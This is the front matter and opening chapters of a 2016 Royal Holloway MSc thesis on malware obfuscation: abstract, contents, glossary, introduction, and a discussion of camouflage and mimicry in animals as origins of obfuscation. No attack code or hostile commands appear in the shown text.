The devil’s right hand: An investigation on malware-oriented obfuscation techniques
Reza Hedayat

Technical Report
RHUL–ISG–2016–5
5 April 2016

Information Security Group
Royal Holloway University of London
Egham, Surrey, TW20 0EX
United Kingdom
THE DEVIL’S RIGHT HAND:
AN INVESTIGATION ON MALWARE-ORIENTED OBFUSCATION
TECHNIQUES

SRN | 101157591
REZA HEDAYAT

SUPervisor
DR. LORENZO CAVALLARO

Submitted as part of the requirements for the award of the
Master of Science in Information Security
at Royal Holloway, University of London
2014 | 2015
I declare that this assignment is all my own work and that I have acknowledged all quotations from the published or unpublished works of other people. I declare that I have also read the statements on plagiarism in Section 1 of the Regulations Governing Examination and Assessment Offences and in accordance with it I submit this project report as my own work.

Signed: ............................................
(Reza Hedayat)

Date: .........................
Malicious software, also known as malware, represents the profitable art of destruction as it is able to do any kind of harm to a system in a stealthy manner as well as to hide its existence. Furthermore, its rise has prevailed and there is no end sight. When it comes to its great success, it is its most valuable member and right hand, which is mainly responsible for this achievement, namely obfuscation. Obfuscation techniques are applied to protect assets of malware with regards to confidentiality, integrity and availability for a limited time.

In this work, we investigate on malware-oriented obfuscation techniques by analysing its origins, the state-of-the-art techniques, its future trends and also how to evaluate its effectiveness. The contribution of this work is thereby threefold:

1. **Malware-oriented Obfuscation primitives**
   A novel method is proposed to categorise malware-oriented obfuscation layers based on predefined primitives, which have been retrieved via research work and hands-on dissection of real malware samples.

2. **Next Generation Obfuscation**
   In order to be able to keep pace with the threats of tomorrow, it is of paramount importance to get to know how they will look like. Therefore, predictions concerning possible directions of malware-oriented obfuscation techniques are made and discussed.
3. **MOVE Framework**

The proposed framework is based on an empirical model and allows to measure the effectiveness of malware-oriented obfuscation techniques in evading anti-malware solutions. Moreover, a prototype has also been implemented in order to demonstrate the framework’s feasibility.
I would like to express my gratitude to my supervisor Dr. Lorenzo Cavallaro for his valuable feedback and ongoing support. It was his module named *Malicious Software and its Underground Economy*, which inspired and motivated me to focus my work on the ever-present and powerful threat of malware within the fascinating field of information security. In addition, as a big fan of \LaTeX, his exemplary \LaTeX-slides have always been an eye-candy for me and completed my learning experience.

Furthermore, I would also like to thank Min Zheng and Vaibhav Rastogi for sharing the source code of *ADAM* and *DroidChameleon* respectively, which in turn inspired my work as well. Moreover, I thank Mila Parkour for sharing her password scheme with me, which is required to retrieve samples from her malware zoo called *Contagiodump*. The samples have greatly helped me to learn how to analyse and dissect obfuscation layers that were both essential tasks for successfully realising my work.

Since my graduation in computer science, I have been working for AdNovum Informatik AG, to which I also owe thanks for the ongoing support.

A huge thank goes to Marco Krebs, who has given me valuable and always very motivating feedback as well as ideas for improvement. Another huge thank goes to Antonio Barresi for his feedback and our tough talks, which I have enjoyed very much.

What is more, the cover representing the past, the presence and the future of obfuscation, is based on my ideas and an initial prototype, but not the final product. Its perfect realisation is due to Irwan C. Burger, who is one of my best friends and a rising artist at icbartwork (http://www.icbartwork.ch). The cover is thereby based on the pictures [230] and [56].

Finally, my deepest thanks go to my beloved parents and sisters for all the love and support they give me everyday.
I dedicate this work to my beloved parents and sisters.
# Contents

## I Setting the Scene

1 Introduction  
1.1 Background  
1.2 Motivation  
1.3 Objectives  
1.4 Methodology  
1.5 Document outline

2 Obfuscation Theory  
2.1 Obfuscation origins  
2.1.1 The animal kingdom  
2.1.2 Dawn of mankind  
2.1.3 Human virology  
2.2 Obfuscation primitives  
2.2.1 Cover primitive  
2.2.2 Duplicate primitive  
2.2.3 Split and merge primitives  
2.2.4 Reorder primitive  
2.2.5 Indirect primitive  
2.2.6 Map primitive  
2.2.7 Mimic primitive  
2.2.8 Advertise primitive  
2.2.9 Tamper-proof primitive  
2.2.10 Dynamic primitive  
2.2.11 Composition primitive  
2.3 Definitions of Obfuscation  
2.3.1 General formal model  
2.3.2 Provably Secure Obfuscation  
2.4 Applications of Obfuscation  
2.5 Conclusion
## II Contribution

<table>
<thead>
<tr>
<th>3 Malware-oriented Obfuscation</th>
<th>31</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1 Malicious cover</td>
<td>32</td>
</tr>
<tr>
<td>3.1.1 Archivers</td>
<td>32</td>
</tr>
<tr>
<td>3.1.2 Packers</td>
<td>32</td>
</tr>
<tr>
<td>3.1.3 Countermeasures</td>
<td>33</td>
</tr>
<tr>
<td>3.2 Malicious duplicate</td>
<td>34</td>
</tr>
<tr>
<td>3.2.1 Garbage insertion</td>
<td>34</td>
</tr>
<tr>
<td>3.2.2 Countermeasures</td>
<td>37</td>
</tr>
<tr>
<td>3.3 Malicious split &amp; merge</td>
<td>38</td>
</tr>
<tr>
<td>3.3.1 Code splitting and overlapping functions</td>
<td>38</td>
</tr>
<tr>
<td>3.3.2 Countermeasures</td>
<td>40</td>
</tr>
<tr>
<td>3.4 Malicious reorder</td>
<td>41</td>
</tr>
<tr>
<td>3.4.1 Code permutation</td>
<td>42</td>
</tr>
<tr>
<td>3.4.2 Countermeasures</td>
<td>42</td>
</tr>
<tr>
<td>3.5 Malicious indirection</td>
<td>43</td>
</tr>
<tr>
<td>3.5.1 Anonymous and Virtual Private Networks (VPNs)</td>
<td>43</td>
</tr>
<tr>
<td>3.5.2 Countermeasures</td>
<td>46</td>
</tr>
<tr>
<td>3.6 Malicious map</td>
<td>46</td>
</tr>
<tr>
<td>3.6.1 Data encoding</td>
<td>47</td>
</tr>
<tr>
<td>3.6.2 Encryption</td>
<td>48</td>
</tr>
<tr>
<td>3.6.3 Countermeasures</td>
<td>48</td>
</tr>
<tr>
<td>3.7 Malicious mimic</td>
<td>51</td>
</tr>
<tr>
<td>3.7.1 Pervasive protocols</td>
<td>51</td>
</tr>
<tr>
<td>3.7.2 Process Replacement</td>
<td>51</td>
</tr>
<tr>
<td>3.7.3 Repackaging and Digital Signatures</td>
<td>52</td>
</tr>
<tr>
<td>3.7.4 Countermeasures</td>
<td>52</td>
</tr>
<tr>
<td>3.8 Malicious advertisement</td>
<td>54</td>
</tr>
<tr>
<td>3.8.1 Malvertising</td>
<td>54</td>
</tr>
<tr>
<td>3.8.2 Drive-by downloads and Real-Time Ad Bidding (RTB)</td>
<td>55</td>
</tr>
<tr>
<td>3.8.3 Countermeasures</td>
<td>56</td>
</tr>
<tr>
<td>3.9 Malicious tamper-proofing</td>
<td>57</td>
</tr>
<tr>
<td>3.9.1 Anti-disassembly techniques</td>
<td>58</td>
</tr>
<tr>
<td>3.9.2 Anti-debugging techniques</td>
<td>60</td>
</tr>
<tr>
<td>3.9.3 Anti-VM techniques</td>
<td>64</td>
</tr>
<tr>
<td>3.9.4 Countermeasures</td>
<td>66</td>
</tr>
<tr>
<td>3.10 Malicious dynamic</td>
<td>67</td>
</tr>
<tr>
<td>3.10.1 Oligomorphism &amp; Polymorphism</td>
<td>67</td>
</tr>
<tr>
<td>3.10.2 Metamorphism</td>
<td>70</td>
</tr>
<tr>
<td>3.10.3 Countermeasures</td>
<td>71</td>
</tr>
<tr>
<td>3.11 Conclusion</td>
<td>71</td>
</tr>
</tbody>
</table>
4 Next Generation Obfuscation
4.1 Homomorphic encryption
4.1.1 Cryptocounters
4.1.2 Private Information Retrieval
4.1.3 Countermeasures
4.2 Obfuscation trends
4.3 Conclusion

5 Obfuscation Effectiveness Evaluation Framework
5.1 MOVE Framework
5.1.1 Malware-oriented Obfuscation Effectiveness Metric
5.1.2 Evaluation and Test Vectors
5.2 Prototype
5.2.1 Persistence Layer
5.2.2 Business Layer
5.2.3 Application Layer
5.2.4 Implementation status and evaluation
5.3 Conclusion

6 Related Literature

III CONCLUSION

7 Reflection

8 Future Directions

IV APPENDICES

Appendix A MOVE Source Code
A.1 Source Code structure
A.2 moveMain.py
A.3 moveDB.py
A.4 transformation.py
A.5 interface.py
A.6 virustotal.py
A.7 reporting.py
A.8 feedback.py
A.9 moveDBCreate.sql
A.10 moveDBInitData.sql
A.11 moveDBEffectivenessRetrieval.sql
A.12 transformationMockGen.sh
Appendix B  Software and Hardware used  115
   B.1  Software ................................................................. 115
   B.2  Hardware ................................................................. 116

Appendix C  Project diary  117
   C.1  Work plan ................................................................. 117
       C.1.1  Tasks description .................................................. 117
       C.1.2  Milestones ............................................................ 118
       C.1.3  Time management .................................................. 118
   C.2  Project history ............................................................ 119
   C.3  Plan deviation ............................................................. 124

Bibliography  125
# List of Figures

<table>
<thead>
<tr>
<th>Figure</th>
<th>Title</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.1</td>
<td>Rise of malware in numbers</td>
<td>4</td>
</tr>
<tr>
<td>a</td>
<td>New Malware</td>
<td>4</td>
</tr>
<tr>
<td>b</td>
<td>Total Malware</td>
<td>4</td>
</tr>
<tr>
<td>2.1</td>
<td>Camouflage transformations in action</td>
<td>10</td>
</tr>
<tr>
<td>a</td>
<td>Owl (Crypsis)</td>
<td>10</td>
</tr>
<tr>
<td>b</td>
<td>Leaf-nosed snake (Mimesis)</td>
<td>10</td>
</tr>
<tr>
<td>c</td>
<td>Uraplatus Gecko (Crypsis)</td>
<td>10</td>
</tr>
<tr>
<td>d</td>
<td>Toads (Mimesis)</td>
<td>10</td>
</tr>
<tr>
<td>e</td>
<td>Spider (Crypsis)</td>
<td>10</td>
</tr>
<tr>
<td>f</td>
<td>Stick insect (Mimesis)</td>
<td>10</td>
</tr>
<tr>
<td>2.2</td>
<td>Mimicry transformations in action</td>
<td>12</td>
</tr>
<tr>
<td>a</td>
<td>Coral Snake (The Batesian model)</td>
<td>12</td>
</tr>
<tr>
<td>b</td>
<td>Milk Snake (The Batesian double)</td>
<td>12</td>
</tr>
<tr>
<td>c</td>
<td>Ranitomeya variabilis (Muellerian mimicry)</td>
<td>12</td>
</tr>
<tr>
<td>d</td>
<td>Ranitomeya imitator (Muellerian mimicry)</td>
<td>12</td>
</tr>
<tr>
<td>e</td>
<td>Tooth Banded White Caterpillar (Automimicry)</td>
<td>12</td>
</tr>
<tr>
<td>f</td>
<td>Serval cat (Automimicry)</td>
<td>12</td>
</tr>
<tr>
<td>2.3</td>
<td>The human predator</td>
<td>13</td>
</tr>
<tr>
<td>a</td>
<td>Blurred: Becoming one with nature</td>
<td>13</td>
</tr>
<tr>
<td>b</td>
<td>White-out: Disappearing in snow</td>
<td>13</td>
</tr>
<tr>
<td>2.4</td>
<td>Time-line of secret communication techniques</td>
<td>14</td>
</tr>
<tr>
<td>2.5</td>
<td>Replication process variants of a virus</td>
<td>17</td>
</tr>
<tr>
<td>2.6</td>
<td>Obfuscation primitives overview</td>
<td>19</td>
</tr>
<tr>
<td>3.1</td>
<td>The life cycle of malicious real-time ad bidding (RTB)</td>
<td>57</td>
</tr>
<tr>
<td>3.2</td>
<td>A taste of a multilevel instruction’s power</td>
<td>59</td>
</tr>
<tr>
<td>3.3</td>
<td>The architecture of oligomorphic and polymorphic malware</td>
<td>67</td>
</tr>
<tr>
<td>3.4</td>
<td>The lifecycle of server-side polymorphism</td>
<td>69</td>
</tr>
<tr>
<td>3.5</td>
<td>The architecture of a metamorphic engine</td>
<td>70</td>
</tr>
</tbody>
</table>
LIST OF FIGURES

4.1 Comparison between plain counters and cryptocounters . . . . . . . . 75
4.2 PIR-based malware in action . . . . . . . . . . . . . . . . . . . . . 76
5.1 The high level view of the MOVE Framework . . . . . . . . . . . . . . 81
5.2 MOVE Persistence Layer v1.0: ER diagram - Data Model (IDNF) . . 85
5.3 MOVE Business Layer v1.0: Class diagram . . . . . . . . . . . . . . 88
C.1 The MSc thesis work plan . . . . . . . . . . . . . . . . . . . . . . . 117
List of Tables

3.1 NOP and similar instructions - x86 Intel syntax ................. 35
3.2 Overview of common encryption algorithms used in the wild .... 49
3.3 Android malware samples mimicking legitimate apps ............ 53
3.4 Android’s static characteristics during emulation ............... 65

4.1 Examples of malleability in homomorphic encryption schemes ... 74

5.1 Test Vectors for the MOVE Framework ............................ 84
5.2 Malware-oriented obfuscation effectiveness per malicious primitive implementation retrieved via MOVE ..................... 90
5.3 Malware-oriented obfuscation effectiveness per malicious primitive retrieved via MOVE ........................................ 91

B.1 Software used ..................................................... 115
B.2 Hardware used .................................................... 116
3.1 Misuse of MS WinAPI as an opaquely true predicate . . . . . . . . . 36
3.2 Opaque expressions with Dadong’s JSXX obfuscator . . . . . . . . . . 36
3.3 Fragment of Torec’s com.baseapp.MessageReceiver . . . . . . . . . . . 44
3.4 Fragment of Torec’s com.baseapp.SmsProcessor . . . . . . . . . . . . 44
3.5 Manipulated Windows hosts file . . . . . . . . . . . . . . . . . . . . . 46
3.6 Creating proprietary Base64 implementations . . . . . . . . . . . . . 47
3.7 Fragment of FindCrypt2’s sparse.cpp . . . . . . . . . . . . . . . . . . 50
3.8 Checking the member BeingDebugged . . . . . . . . . . . . . . . . . . 61
3.9 Checking the flag ProcessHeap (MS Win 7) . . . . . . . . . . . . . . 61
3.10 Checking the NTGlobalFlag . . . . . . . . . . . . . . . . . . . . . . . 61
3.11 Android native debugger detection . . . . . . . . . . . . . . . . . . . 62
3.12 Dalvik breakpointSet member manipulation . . . . . . . . . . . . . . 63
3.13 Dalvik dbgRegistry member manipulation . . . . . . . . . . . . . . 63
3.14 Dalvik methDalvikDdmServer_dispatch member manipulation . . . . . . . . . . . . . . . . . . . . . . . . . 64
A.1 moveMain.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
A.2 moveDB.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
A.3 transformation.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
A.4 interface.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
A.5 virustotal.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
A.6 reporting.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
A.7 feedback.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
A.8 moveDBCcreate.sql . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
A.9 moveDBInitData.sql . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
A.10 moveDBEffectivenessRetrieval.sql . . . . . . . . . . . . . . . . . . . . 112
A.11 transformationMockGen.sh . . . . . . . . . . . . . . . . . . . . . . . . 112
List of Notations

⊤ the statement is unconditionally true (tautology)
⊥ the statement is unconditionally false (contradiction)
∀x for all x (universal quantifier)
A ⊂ B the set A is a proper subset of set B
a ∈ S a is an element of the set S
[a, b] the interval of numbers between a and b, including a and b
x||y the concatenation of x and y
|M| length of bit string M
{0, 1}^n all binary strings of length n
{0, 1}^* all binary strings
E_K(d) the encryption of data d by using key K
D_K(d) the decryption of data d by using key K
MAC(K, d) the MAC computation over data d by using key K
π_A(R) the projection on attribute A of relation R
σ_A=x(R) the selection of all tuples in R where the attribute A equals x
R △◁ S the natural join of the relations R and S
<table>
<thead>
<tr>
<th>Abbreviation</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AD</td>
<td>Anno Domini</td>
</tr>
<tr>
<td>AES</td>
<td>Advanced Encryption Standard</td>
</tr>
<tr>
<td>APK</td>
<td>Android Application Package</td>
</tr>
<tr>
<td>ASLR</td>
<td>Address Space Layout Randomization</td>
</tr>
<tr>
<td>BCE</td>
<td>Before Common/Current/Christian Era</td>
</tr>
<tr>
<td>BLE</td>
<td>Blue-tooth Low Energy</td>
</tr>
<tr>
<td>CPU</td>
<td>Central Processing Unit</td>
</tr>
<tr>
<td>CRC</td>
<td>Cyclic Redundancy Check</td>
</tr>
<tr>
<td>CVE</td>
<td>Common Vulnerabilities and Exposures</td>
</tr>
<tr>
<td>DB</td>
<td>Database</td>
</tr>
<tr>
<td>DEP</td>
<td>Data Execution Prevention</td>
</tr>
<tr>
<td>DES</td>
<td>Data Encryption Standard</td>
</tr>
<tr>
<td>DGA</td>
<td>Domain Generation Algorithm</td>
</tr>
<tr>
<td>DLL</td>
<td>Dynamic Link Library</td>
</tr>
<tr>
<td>DNA</td>
<td>Deoxyribonucleic Acid</td>
</tr>
<tr>
<td>DNS</td>
<td>Domain Name System</td>
</tr>
<tr>
<td>DRM</td>
<td>Digital Rights Management</td>
</tr>
<tr>
<td>EIP</td>
<td>Extended Instruction Pointer</td>
</tr>
<tr>
<td>ER</td>
<td>Entity Relationship</td>
</tr>
<tr>
<td>FHE</td>
<td>Fully Homomorphic Encryption</td>
</tr>
<tr>
<td>FPU</td>
<td>Floating Point Unit</td>
</tr>
<tr>
<td>GB</td>
<td>MB</td>
</tr>
<tr>
<td>HIV</td>
<td>Human Immunodeficiency Virus</td>
</tr>
</tbody>
</table>
HSM  Hardware Security Module
HTML Hyper Text Markup Language
HTTP Hypertext Transfer Protocol
HTTPS Hypertext Transfer Protocol Secure
HW Hardware
I2P Internet Invisible Project
IDEA International Data Encryption Algorithm
IDNF Inclusion Dependency Normal Form
IDS Intrusion Detection System
IMEI International Mobile Equipment Identity
JAR Java Archive
JNI Java Native Interface
NP Non-deterministic Polynomial-time
OEP Original Entry Point
OCSP Online Certificate Status Protocol
OS Operating System
PDF Portable Document Format
PE Portable Executable
PEB Process Environment Structure
PHE Partially Homomorphic Encryption
PID Process ID
PNG Portable Network Graphics
RAM Random Access Memory
RC Rivest Cipher
RNA Ribonucleic Acid
ROM Read-only memory
ROP Return-oriented Programming
RSA Rivest Shamir Adleman
RTB Real-Time Ad Bidding
SIM Subscriber Identity Module
SMS Short Message Service
S/P Substitution / Permutation
SRN Student Registration Number
SW Software
TAR Tape Archiver
<table>
<thead>
<tr>
<th>Abbreviation</th>
<th>Full Form</th>
</tr>
</thead>
<tbody>
<tr>
<td>TCP</td>
<td>Transmission Control Protocol</td>
</tr>
<tr>
<td>TLS</td>
<td>Transport Layer Security</td>
</tr>
<tr>
<td>TOR</td>
<td>The Onion Router</td>
</tr>
<tr>
<td>TPM</td>
<td>Trusted Platform Module</td>
</tr>
<tr>
<td>UI</td>
<td>User Interface</td>
</tr>
<tr>
<td>USSD</td>
<td>Unstructured Supplementary Service Data</td>
</tr>
<tr>
<td>VM</td>
<td>Virtual Machine</td>
</tr>
<tr>
<td>VPN</td>
<td>Virtual Private Network</td>
</tr>
<tr>
<td>XSS</td>
<td>Cross-Site Scripting</td>
</tr>
</tbody>
</table>
Terminology

Age of Zero Trust  The information age, in which the lines of trusted or untrusted
users are hard to credibly define [103].

Botnet  A collection of Internet-connected programs communicating with other simi-
lar programs in order to perform tasks [245].

Computer virus  A type of malware, which requires a host to replicate itself by
inserting copies of itself into other programs, files or the boot sector of the
hard drive in order to cause infection [239].

Confusion & Diffusion  Confusion is to make the relationship between the key
and the ciphertext as complex as possible whereas diffusion is to spread out
the influence of bits of the plaintext so that the ciphertext is dependent on all
bits of the plaintext. [123]

Cover time  The length of time for which an asset must be kept secret [120].

Cryptovirus  A computer virus that is able to perform one-way cryptographic com-
putations that only its creator can undo [288].

Darknet  A subset of the deepweb built by private networks where connections are
made only between trusted peers using non-standard protocols and ports [246].

Deepweb  The portion of the World Wide Web content that is not indexed by
standard search engines [247].

Domain Generation Algorithm  An algorithm that generates a large number of
domain names that can be used as rendezvous points with their command and
control servers [257].

Exploit kit  A toolkit packaged with exploit code that is used to exploit security
holes in order to primarily spread malware [237].

Hammock  A subgraph of the control flow graph with a single entry and exit node
[39].
Inclusion Dependency Normal Form An extension of the BCNF (Boyce Codd Normal Form) that ensures that a BCNF relation is non-circular and key-based [78].

Internet of Things The network of physical objects embedded with electronics, software, sensors and connectivity to enable it to achieve greater value and service by exchanging data with the manufacturer, operator and/or other connected devices [255].

TOR relay & bridge A relay is a publicly listed node in the TOR network that forwards traffic on behalf of clients whereas a bridge represents a non-public relay that provides access for blocked clients [176].

Ransomware A type of malware, which restricts access to the computer system that it infects, and demands a ransom paid to the creator of the malware in order for the restriction to be removed [250].

Resilience The combination of time required to build a de-obfuscator that could untangle a particular transformation and the time required to actually run it [46].

Root kit A type of malware that is designed to hide the existence of certain processes or programs from normal methods of detection and enable continued privileged access to a computer [244].

Stalling code This kind of code has the goal to delay the execution of malicious activity long enough so that automated analysis systems desperately give up (i.e. result in a time-out) on a malware instance by wrongly assuming that the program is non-functional or non-malicious [110].

Stealth The degree to which transformed code can be distinguished from untransformed code [46].

Sybil attack The subversion of the reputation system of a peer-to-peer network by creating a large number of pseudonymous identities, using them to gain a disproportionately large influence [256].
Part I

Setting the Scene

This chapter starts with providing the background to this master thesis and continues with my motivation. It also includes the specified objectives and methods used. An outline of this report concludes this chapter.

1.1 Background

Technology is beautiful with regards to its characteristics of giving great pleasure, satisfaction as well as convenience to the lives of individuals. It advances from day to day and has achieved something that has always been just a daydream for politicians and governments. It has accomplished to bring individuals, their morals and traditions as well as whole nations together. The world has transformed and is a new place. The physical distance between nations has shrunk and does not represent a challenge anymore. Portable computers such as tablet devices, smart phones, smart watches and other smart objects are not dreams of the future, but norm of the present age. The interconnectivity of these mobile devices has ushered the Age of Internet of Things.

Unfortunately, there is also a second side to this euphonic and ideal story. Advances in technology have opened new doors for those who have abandoned our society and decided to rather cause harm and destruction to it. The new world was sadly not able to pass criminals. Quite the contrary, it has armed the miscreants, also known as cybercriminals, with new weapons in the shape of viruses, trojans,
Malicious software, also known as \textit{malware}, is software that breaks system or user security and privacy policies. It can steal sensitive data (breaking confidentiality), manipulate data (breaking integrity) and also disrupt and deny system operation (breaking availability). In addition, it has many faces and is pervasive. The rise of malware has prevailed and there is no end in sight. This fact is supported by Figure 1.1 shown below. Thereby, Figure 1.1a highlights the continuous increase of newly detected malware instances whereas Figure 1.1b emphasises the total number of known malware samples that are living in McAfee’s zoo. The 250 million sample barrier has been broken and it just represents the malware instances that we know! A frightening number that one really has to take a few moments to digest.

Furthermore, malware is not just malicious software anymore, but forms a complete ecosystem in the underground. It has become the profitable art of destruction as it is able to do any kind of harm to a system in a stealthy manner as well as to hide its existence.

Software is full of bugs and it will always be full of bugs. Moreover, the software engineering life cycle is unfortunately based on the \textit{penetrate-and-patch} approach. In addition, the existence of unpatched code whether being run by organisations or individuals combined with outdated virus scanners, is still a big challenge to tackle. Furthermore, the vast majority of users are not security savvy and not aware of malware at all. These facts can all be attributed to the success of malware nowadays. However, we do not have to forget the sophisticated malware mechanism called \textit{obfuscation}. It tremendously impedes static malware detection mechanisms [150] and also slows down dynamic detection approaches, e.g. through covert channels based on steganographic approaches or protected channels built on cryptographic mechanisms. Further, academic exercises such as the system call obfuscation approach, also known as an \textit{Illusion attack} [209], have shown that the power of obfuscation is not yet exhausted at all. What is more, the next level of obfuscation is on its way, namely malware that is protected by \textit{homomorphic encryption} at runtime [23]. So, are we really able to fight back against this abuse of power?

Since my graduation in computer science in 2008, I have been working as a Security Software Engineer and recently also as a Security Consultant where I got the impression that we are more and more getting in an inferior position. In the meanwhile, we have also entered the \textit{Age of Zero Trust} where things are getting worse. We are losing control over our infrastructures, clients and data that we want...
1.2 Motivation

(a) New Malware

(b) Total Malware

Figure 1.1: Rise of malware in numbers (Source: McAfee Labs, 2014 [111])
1.4 Methodology

to protect as they are getting truly physically distributed now. The paradigm shift has changed the game by giving a competitive edge to the underground resulting in a future that looks pretty bright for malware.

Our old-fashioned passive perimeter security approach will not be enough to protect us anymore in the future. It is time to become much more active and to detect and track malware back offensively in order to phase it out eventually. I am highly fascinated by malware and its dark art and that is why I want to dedicate my thesis as well as my future work to it. Now then, the first step towards my long-term goal is to face and get to know malware’s right hand, i.e. its most valuable member named *obfuscation*, which gets my special attention in this thesis.

1.3 Objectives

The intended achievements for this thesis have been defined as follows:

1. **Days of Future Past**
   Go back to the origins of obfuscation (e.g. steganography, biology) and rethink the derived methods used in computer science to create malware-oriented obfuscation that also concerns the mobile landscape.

2. **Next Generation**
   Determine future trends and investigate in novel and potential next generation obfuscation (e.g. malware facilitating homomorphic encryption) methods, which could be used to strengthen malware.

3. **Malware-oriented Obfuscation Evaluation Framework**
   Propose and develop a framework that is able to evaluate the effectiveness of malware-oriented obfuscation in evading anti-malware solutions.

1.4 Methodology

In order to be able to master the objectives defined in section 1.3, the following methods have been selected:

- **Research**
  1. Researching the subject as well as establishing in-depth knowledge in this area.
  2. Asking and trying to answer the following questions:
     (a) What are the mechanisms used by malware authors to provide obfuscation?
     (b) Is it possible to identify future trends?
     (c) Is it possible to find an approach that allows measuring the effectiveness of malware-oriented obfuscation?

- **Case Studies**
1. Diving into present malware samples embracing also the mobile landscape with the goal to answer the following questions:
   (a) What are the specific mechanisms used to provide obfuscation?
   (b) How effective are the techniques used?
   (c) What are potential countermeasures?

• Prototyping

1. Using the assembled knowledge to design and implement a framework for evaluating the effectiveness of malware-oriented obfuscation.
2. Testing of selected obfuscation mechanisms against the proposed framework and interpreting the corresponding results.

1.5 Document outline

This master thesis is organized as follows:

• Part I: Setting the Scene
This first part sets the scene by defining the project goals as well as introducing the fascinating world of obfuscation:

– Chapter 1: Introduction
   This chapter is introductory and provides the reader with the background, motivation, objectives as well as the used methodologies.

– Chapter 2: Obfuscation Theory
   The goal of this chapter is to find the origins of obfuscation, describe what is meant by obfuscation and what the current state of knowledge is as well as its corresponding area of application.

• Part II: Contribution
This part represents my contribution and is divided into the following chapters:

– Chapter 3: Malware-oriented Obfuscation
   Here, the objectives are to describe the state of the art obfuscation mechanisms used in malware including the mobile landscape. In addition, the obfuscation layers of selected malware samples are dissected and categorised by the proposed scheme.

– Chapter 4: Next Generation Obfuscation
   What comes next? What are future trends? This chapter tries to answer these questions.

– Chapter 5: Obfuscation Effectiveness Evaluation Framework
   The assembled knowledge concerning obfuscation is used to design and prototype an evaluation framework, which architecture is described in this chapter. Furthermore, the evaluation process is discussed as well as the implementation status of the prototype.
– *Chapter 6: Related Literature*
  The focus of this chapter is to compare my work with others and highlight the pros and cons.

**Part III: Conclusion**
The concluding words are split up into the chapters below:

– *Chapter 7: Reflection*
  Here, the summary of my work and the reflection of my achievements are provided.

– *Chapter 8: Future Directions*
  Finally, some potential improvements are suggested and predictions concerning my future work are provided.

**Part IV: Appendices**
The last part is built up of the appendices and the bibliography that completes the report:

– *Appendix A: Source Code*
  The full source code, which assembles the designed and developed evaluation framework is here.

– *Appendix B: Software and Hardware used*
  All required software and hardware that have been used throughout this work are referenced in this part.

– *Appendix C: Project diary*
  This part contains the details about my work plan and a chronological view on my progress including difficulties that turned up.

– *Bibliography*
  The end of my report is represented by the bibliography that contains all the valuable works of other researchers and other references, which I have used throughout my work.
"Study the past, if you would divine the future." This ancient saying of Confucius is essential and always reminds me of the approach that I have to use when I am unable to cope with a plethora of new information, especially within an unfamiliar domain.

Whether received from BugTraq [62], CVE [227] or any other security alerting mailing list, my mailing in-box is full and that everyday. But, are all these attack vectors and vulnerability exploits really new? No, not really! A great deal of them are just remakes, which were developed in the days of future in the past. The ransomware *CryptoLocker* [236] is an excellent example, which can be seen as a remake of the trojan horse called *AIDS* appeared in 1989 [235].

To use the words of George Santayana: "Those who cannot remember the past are condemned to repeat it." Therefore, this chapter starts with the origins of obfuscation and continues with the primitives derived to provide obfuscation mechanisms. Afterwards, the contemporary definition is followed. The applications and future directions of obfuscation conclude this chapter.

### 2.1 Obfuscation origins

Theatrics, camouflage and hiding are powerful instruments, which represent the natural instinct that has served as a protection mechanism for all kinds of organisms such as plants, animals and humans since the beginning of life, namely the big bang.

Therefore, the following realms have been entered and analysed with the goal to reveal the origins of obfuscation.
2.1 Obfuscation origins

2.1.1 The animal kingdom

Animals must eat to survive and reproduce to not become extinct. In the wild, there exists the relationship called *predator-prey*, which is fundamental by maintaining the correct balance among the diversity of animal species and ensuring their proper life cycle [20]. The game of life played by predator and prey has been made more interesting and challenging by awarding both of them with the art of deception. Thereby, the main goal of this gift is to increase the prey’s ability to avoid being victimized as well as to advance the predator’s chances of catching its victim [41]. However, it is important to emphasize that not all animals have this gift, because they simply do not need that for their survival. So, the ability to develop deception skills is strongly associated with the animal’s threat landscape, i.e. it is optimized according to the animal’s potential rivals and victims [79].

Deception in the animal kingdom represents the transmission of misinformation by an arbitrary animal to another resulting in a false belief that becomes erroneously true [268]. Thereby, the main primitives used to implement deception are camouflage and mimicry.

Camouflage

Camouflage refers to an animal species resembling an inanimate object. Furthermore, there is the differentiation between the following two main types of camouflage based on the animal’s physiology [269]:

- **Cryptis**
  Cryptic camouflage is the use of any combination of materials, coloration or illumination with the goal to avoid the observation or detection by another animal. In addition, it can also occur by olfactory or auditory techniques [266].
  
  The Figures 2.1a, 2.1c and 2.1e show the power of crypsis by illustrating how an owl, a gecko and a spider use their gift to become one with their surroundings.

- **Mimesis**
  In contrast, animals that master mimesis, can take on the properties of specific inanimate objects [274].
  
  A leaf-nosed snake, three toads and a stick insect demonstrate their mimesis-ability, which enables them to become part of the objects in their environment as shown in Figures 2.1b, 2.1d and 2.1f.

  It is notable to mention that Figure 2.1 just illustrates a tiny excerpt of the animal’s breathtaking repertoire of camouflage transformations! Furthermore, it also took me hours to select my favourite ones that I have enjoyed with great admiration.

Mimicry

The similarities between animal species with the goal to protect at least one species, is known as mimicry. Moreover, the analogies can be on the basis of the appear-
2.1 Obfuscation origins

(a) Owl (Crypsis)
(b) Leaf-nosed snake (Mimesis)
(c) Uraplatus Gecko (Crypsis)
(d) Toads (Mimesis)
(e) Spider (Crypsis)
(f) Stick insect (Mimesis)

Figure 2.1: Camouflage transformations in action (Source: [50, 207])
ance, behaviour, sound or territory. In addition, the main types of mimicry are the following [274]:

- **Batesian mimicry**
  When two or more species are similar in appearance, but only one, namely the model is armed with dangerous properties such as spines, stingers or toxic chemistry and its doubles lack these traits, then this is known as Batesian mimicry. So, when a harmless animal falsely advertises its dangerous properties, the predator falsely associates the double with the model and therefore with a potentially bad experience [262].

